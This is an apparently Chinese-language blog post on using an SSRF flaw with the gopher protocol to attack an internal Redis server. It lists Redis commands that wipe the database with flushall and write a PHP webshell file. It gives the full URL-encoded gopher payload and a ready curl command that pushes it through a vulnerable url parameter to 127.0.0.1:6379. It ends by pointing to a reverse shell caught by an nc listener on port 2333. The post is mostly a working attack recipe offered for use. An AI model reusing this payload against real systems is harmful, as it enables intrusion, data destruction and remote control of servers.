利用SSRF漏洞內網探測來攻擊Redis(通過curl命令 & gopher協議)

HighBox發表於2020-09-25

有時候有些漏洞不存在與Get請求中,此時Header CRLF方法就不行了,下面給出第二種方式

Gopher協議支援發出GET、POST請求:可以先攔截get請求包和post請求包,再構造成符合Gopher協議的請求(利用BP)。gopher協議是ssrf利用中一個最強大的協議。
可以攻擊內網的 FTP、Telnet、Redis、Memcache,也可以進行 GET、POST 請求,還可以攻擊內網未授權MySQL。

gopher 協議的精髓就在於可以在特定的埠上進行相關命令的執行。

Gopher協議的優勢在於可以傳送多種格式的資料包,這是就存在很大的利用空間。

gopher協議+ curl命令偽造POST請求包發給內網主機(已經掃到)。

gopher協議支援發出GET、POST請求:可以先攔截get請求包和post請求包,再構造成符合gopher協議的請求。gopher協議是ssrf利用中一個最強大的協議(俗稱萬能協議)。

可以攻擊內網的 FTP、Telnet、Redis、Memcache,也可以進行 GET、POST 請求,還可以攻擊內網未授權MySQL。

gopher://IP:port/_{TCP/IP data stream}

redis.cmd檔案為需要執行的redis命令,一行一條命令(寫入換行符)

例如下列操作

flushall
config set dir /tmp
config set dbfilename shell.php
set 'webshell' '<?php phpinfo();?>'
save

轉換成payload後就是

%2a%31%0d%0a%24%38%0d%0a%66%6c%75%73%68%61%6c%6c%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%34%0d%0a%2f%74%6d%70%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%39%0d%0a%73%68%65%6c%6c%2e%70%68%70%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%38%0d%0a%77%65%62%73%68%65%6c%6c%0d%0a%24%31%38%0d%0a%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%3f%3e%0d%0a%2a%31%0d%0a%24%34%0d%0a%73%61%76%65%0d%0a

然後利用curl命令

curl -v 'http://xxx.xxx.xx.xx/xx.php?url=gopher://127.0.0.1:6379/_%2a%31%0d%0a%24%38%0d%0a%66%6c%75%73%68%61%6c%6c%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%34%0d%0a%2f%74%6d%70%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%39%0d%0a%73%68%65%6c%6c%2e%70%68%70%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%38%0d%0a%77%65%62%73%68%65%6c%6c%0d%0a%24%31%38%0d%0a%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%3f%3e%0d%0a%2a%31%0d%0a%24%34%0d%0a%73%61%76%65%0d%0a

照例進行bash反彈shell

傳送請求之前在公網機開啟nc監聽埠2333,後續步驟類似前一種方式。

相關文章